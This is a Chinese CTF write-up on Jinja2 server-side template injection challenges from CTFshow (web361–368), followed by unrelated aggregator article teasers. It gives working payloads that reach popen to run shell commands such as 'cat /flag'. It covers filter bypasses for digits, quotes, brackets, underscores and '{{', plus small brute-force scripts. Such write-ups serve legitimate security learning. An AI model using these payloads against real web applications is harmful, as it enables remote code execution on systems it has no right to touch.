CTFSHOW SSTI

news2024/11/29 8:53:31

目录

web361   【无过滤】

subprocess.Popen

os._wrap_close

url_for

lipsum

cycler

web362   【过滤数字】

第一个通过 计算长度来实现

第二个使用脚本输出另一个数字来绕过

使用没有数字的payload

web363   【过滤引号】

使用getitem  自定义变量

web364   【过滤 args和引号】

chr

web365   【过滤中括号】

getitem()

web366   【过滤下划线】

attr

web367   【过滤os】

get(request.values.a)

web368   【过滤{{】


最近搞了几题SSTI 有点意思

做一下CTFSHOW的吧

web361   【无过滤】

名字就是考点

这题简单直接payload 和过程了

?name={{7*7}} 

?name={{"".__class__.__base__.__subclasses__()}}

这里贴上一下脚本 用来查找位数

import time

import  requests



base_url="http://d30af560-b595-44ce-b476-e5681156b059.challenge.ctf.show/?name="
for i in range(200):
    payload="{{\"\".__class__.__base__.__subclasses__()[%s]}}"%i
    r= requests.get(url=base_url+payload)
    if "subprocess.Popen" in r.text:
        print(i)
    if r.status_code == 429:
        time.sleep(0.5)

简单的我就使用多点方法


subprocess.Popen

/?name={{"".__class__.__base__.__subclasses__()[407]}}
/?name={{"".__class__.__base__.__subclasses__()[407]("ls",shell=True,stdout=-1).communicate()[0].strip()}}

os._wrap_close

?name={{"".__class__.__base__.__subclasses__()[132]}}

/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls").read()}}

/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("ls /").read()}}

/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /f*").read()}}

url_for

{{url_for.__globals__}}

{{url_for.__globals__["current.app"].config}}

但是这里没有

 下面是

推测可能是 twig 和 Jinja2 使用

lipsum

?name={{lipsum.__globals__}}

?name={{lipsum.__globals__['os']}}

{{lipsum.__globals__['os'].popen("ls").read()}}

{{lipsum.__globals__['os'].popen("cat /f*").read()}}

cycler

?name={{cycler.__init__.__globals__}}

?name={{cycler.__init__.__globals__.os.popen("ls /").read()}}

?name={{cycler.__init__.__globals__.os.popen("cat /f*").read()}}

不写了 太多了

还是需要理解 一旦出现过滤 这种直接复制粘贴是没有用的 最好在 python中多看看

web362   【过滤数字】

这里过滤了数字

我们有两个方法

第一个通过 计算长度来实现

{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}

但是这个需要拼接很多

所以放弃

第二个使用脚本输出另一个数字来绕过

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

'0','1','2','3','4','5','6','7','8','9',

132
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__.popen("cat /f*").read()}}

使用没有数字的payload

?name={{lipsum.__globals__['os'].popen("cat /flag").read()}}

web363   【过滤引号】

这里可以使用构造request方式绕过 这里过滤了引号

我们需要构造无引号的

这里可以记住 过滤了引号 我们就可以通过括号来查找

使用getitem  自定义变量

这里可以使用自定义的变量来绕过 request.values.a 类似于自己定义的变量

只需要在}}后面传递参数即可

{{().__class__.__mro__[1].__subclasses__()}}


/?name={{().__class__.__mro__[1].__subclasses__()[].__init__.__globals__.__getitem__(request.values.a)}}&a=popen

这里是我们需要跑的脚本类型

我们需要找到popen来执行命令 我们就可以通过遍历类 然后通过__getitem__找到方法request
然后来查询popen

写个脚本

import requests

baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="

for i in range(1000):
    payload="""{{().__class__.__mro__[1].__subclasses__()[%i].__init__.__globals__.__getitem__(request.values.a)}}&a=popen"""%i
    r=requests.get(url=baseurl+payload)
    if "popen" in r.text:
        print(i)
    else:
        continue

跑出来132

{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls


/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

web364   【过滤 args和引号】

这里其实使用上一题的方法还是可以

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag

这里介绍一下另一个方法chr 方法

chr

import requests

baseurl="http://c48f6cc8-a4d6-4783-86af-982c96cf190e.challenge.ctf.show/?name="

for i in range(1000):
    payload="""{{().__class__.__mro__[1].__subclasses__()[%s].__init__.__globals__.__builtins__.chr}}"""%i
    r=requests.get(url=baseurl+payload)
    if "chr" in r.text:
        print(i)
    else:
        continue

通过脚本 寻找存在chr方法的类

然后使用 框架表达式 {{%%}}声明变量

来声明 chr的方法

?name={%set+chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}



这里是两块
{% set chr=().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}

第一块 来设置chr


第二块
{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

这里的chr() 是 cat /f*

web365   【过滤中括号】

这里比上一题多了中括号的过滤

getitem()

__golbals__[123]

__golbals__.__getitem__(123)

这两个 是没有区别的

所以遇到了中括号我们可以运用这个方式来做

?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=ls


?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat /f*

web366   【过滤下划线】

这里接着上面的内容过滤了下划线

attr

().__class__


()|attr('__class__') 这两个是一样的


但是这个题目过滤了_ 

我们可以使用request来绕过


(lipsum|attr(request.values.a))   &a=__class__

直接构造payload

{{lipsum|attr(request.values.b)}}&b=__globals__


{{(lipsum|attr(request.values.b)).os}}&b=__globals__



{{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=ls

{{(lipsum|attr(request.values.b)).os.popen(request.values.c).read()}}&b=__globals__&c=cat /f*

web367   【过滤os】

这里在上面的基础上过滤了os

这里需要使用 get(request.values.a) 来获取os

其余和上面一样即可

get(request.values.a)

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /f*

web368   【过滤{{】

这里我们过滤了{{ 但是没有过滤其他表达式

我们通过 {% %}

表达式修改一下即可

?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=ls


?name={%+print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /f*

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1055297.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深度学习 二:COVID 19 Cases Prediction (Regression)

Deep Learning 1. 回归算法思路2. 代码2.1 基础操作2.2 定义相关函数2.3.1 定义图像绘制函数2.3.2 数据集加载及预处理2.3.3 构造数据加载器2.3.4 构建前馈神经网络(Feedforward Neural Network)模型2.3.5 神经网络的训练过程2.3.6 模型评估2.3.7 模型测…

【转存】 fluent mybatis 与Mybatis 简答介绍

感谢:IT码徒 提供 原文请关注 前言 使用fluent mybatis也可以不用写具体的 xml 文件,通过 java api 可以构造出比较复杂的业务 sql 语句,做到代码逻辑和 sql 逻辑的合一。不再需要在 Dao 中组装查询或更新操作,或在 xml 与 mappe…

云安全之HTTP协议介绍

HTTP的基本概念 什么是网络协议 网络协议是计算机之间为了实现网络通信而达成的一种“约定”或者”规则“,有了这种”约定不同厂商生产的设备,以及不同操作系统组成的计算机之间,就可以实现通信。 网络协议由三个要素构成:1、语…

<C++> 哈希表模拟实现STL_unordered_set/map

哈希表模板参数的控制 首先需要明确的是,unordered_set是K模型的容器,而unordered_map是KV模型的容器。 要想只用一份哈希表代码同时封装出K模型和KV模型的容器,我们必定要对哈希表的模板参数进行控制。 为了与原哈希表的模板参数进行区分…

IntelliJ IDEA配置Cplex12.6.3详细步骤

Cplex12.6.3版IntelliJ IDEA配置详细步骤 一、Cplex12.6.3版下载地址二、Cplex安装步骤三、IDEA配置CPLEX3.1 添加CPLEX安装目录的cplex.jar包到项目文件中3.2 将CPLEX的x64_win64文件夹添加到IDEA的VM options中 四、检查IDEA中Cplex是否安装成功卸载Cplex 一、Cplex12.6.3版下…

案例题真题-数据库系统

案例题真题-数据库系统 真题 扩展方式和水平扩展是一个东西 关系数据库向上扩展强,水平扩展弱(向外扩展) NoSQL模式向上扩展弱,水平扩展强(向外扩展) 向上扩展就是增加数据库 向外扩展就是将数据库划分开&a…

SmartX 边缘计算解决方案:简单稳定,支持各类应用负载

在《一文了解近端边缘 IT 基础架构技术需求》文章中,我们为大家分析了边缘应用对 IT 基础架构的技术要求,以及为什么超融合架构是支持边缘场景的最佳选择。值得一提的是,IDC 近日发布的《中国软件定义存储(SDS)及超融合…

Halcon中灰度直方图的使用与学习

目录 第一步:当前打开窗口的显示灰度图或者mono图片第二步:激活后,我们可以去调整调整右边直方图灰阶值的中蓝色和红色竖线,获取左边图上的灰阶值的范围内的特征显示。第三步:插入代码:总结:它的直观目的,就是查看灰度的分布情况!灰度直方图,是我们经常使用,抓取不同…

objective-c 基础学习

目录 第一节:OC 介绍 ​​第二节:Fundation 框架 ​第三节:NSLog 相对于print 的增强 ​第四节:NSString ​第五节:oc新增数据类型 第六节: 类和对象 ​类的方法的声明与实现 ​第七节:类…

思维模型 冷热水效应

本系列文章 主要是 分享 思维模型,涉及各个领域,重在提升认知。冷热水效应可以改变你90%的人际关系。对于技术人员的沟通大有助益。 1 冷热水效应的应用 1.1 生活中的冷热水效应 恋爱和恋爱关系:在恋爱关系中,一对情侣可能会经历…

【人工智能导论】机器学习环境配置

一、Anaconda 1、安装Anaconda Anaconda的安装:https://www.anaconda.com/ Anaconda-国内镜像站 在terminal上看到(base)说明安装已完成 2、conda换源 添加中科大源 conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/main/ conda confi…

Secureboot从入门到精通

关键词:trustzone视频、tee视频、ATF视频、secureboot视频、安全启动视频、selinux视频,cache视频、mmu视频,armv8视频、armv9视频 FF-A视频、密码学视频、RME/CCA视频、学习资料下载、免费学习资料、免费 周贺贺,baron&#xff0…

zemax对称式目镜

两个几乎对称的双胶合透镜相对放置,可以达到25度的半视场 为了加工方便,这两个透镜组采用相同的结构 对称式目镜要求各组透镜自行校正色差,这样倍率色差也随之而校正。 它还能校正两种像差,慧差和象散。 对称目镜的结构更紧&…

QGIS文章一——实现天地图加载

无论是农业科学还是海洋科学,对地图的处理和数值模型的计算是少不了的,地图是可视化的基础,先有了基础再进行开始某些复杂处理,进而开始模拟推演,最后进行数值模拟和计算。 QGIS(原称Quantum GIS&#xff0…

黑豹程序员-架构师学习路线图-百科:Git/Gitee(版本控制)

文章目录 1、什么是版本控制2、特点3、发展历史4、SVN和Git比较5、Git6、GitHub7、Gitee(国产)8、Git的基础命令 1、什么是版本控制 版本控制系统( Version Control )版本控制是一种管理和跟踪软件开发过程中的代码变化的系统。它…

力扣设计循环队列

1.使用了数组来表达循环 typedef struct {int k;//数据个数int *a;//数组int rear;//尾int front;//头 } MyCircularQueue;2.循环队列是否为空 bool myCircularQueueIsEmpty(MyCircularQueue* obj) {return obj->rear obj->front; }3.循环队列是否已满。 bool myCircula…

质数的判定和质因数分解

质数的判定: 质数:i>1,并且i的因子只有1和它本身。 思路: 对于n如果n%i0那么n/i和i都是n的因子,对于n的每一对因子,至少有一个在1-,所以我们只需要判断1-是否有能整数n的数即可。时间复杂度o(). 代码…

把握现在,热爱生活

博客主页:https://tomcat.blog.csdn.net 博主昵称:农民工老王 主要领域:Java、Linux、K8S 期待大家的关注💖点赞👍收藏⭐留言💬 目录 厨艺房价琐事计划随想 今年的中秋国庆假期放8天,比春节假期…

基于Cplex的人员排班问题建模求解(JavaAPI)

使用Java调用Cplex实现了阿里mindopt求解器的案例(https://opt.aliyun.com/platform/case)人员排班问题。 这里写目录标题 人员排班问题问题描述数学建模编程求解(CplexJavaAPI)求解结果 人员排班问题 随着现在产业的发展&#…

Leetcode 2119.反转两次的数字

反转 一个整数意味着倒置它的所有位。 例如,反转 2021 得到 1202 。反转 12300 得到 321 ,不保留前导零 。 给你一个整数 num ,反转 num 得到 reversed1 ,接着反转 reversed1 得到 reversed2 。如果 reversed2 等于 num &#x…